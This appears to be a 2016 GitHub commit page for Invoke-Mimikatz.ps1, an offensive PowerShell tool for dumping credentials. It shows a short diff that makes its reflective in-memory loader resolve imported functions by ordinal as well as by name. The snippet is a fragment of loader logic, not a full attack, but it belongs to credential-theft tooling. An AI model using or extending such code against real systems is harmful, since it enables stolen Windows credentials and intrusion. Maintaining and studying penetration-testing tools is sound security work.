#147 Bugfix: Invoke-Mimikatz

Invoke-Mimikatz was not not handling functions exported by ordinal. Thank you @gentilkiwi for the suggested fix!
PowerShellMafia · Jul 15, 2016 · fee3b4c · fee3b4c
1 parent 8d46d02
commit fee3b4c
Showing 1 changed file with 8 additions and 1 deletion.
diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1
@@ -1687,7 +1687,14 @@ $RemoteScriptBlock = {
 					}
 					else
 					{
-						[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
+						if($ProcedureName -is [string])
+						{
+						    [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
+						}
+						else
+						{
+						    [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName)
+						}
 					}
 
 					if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)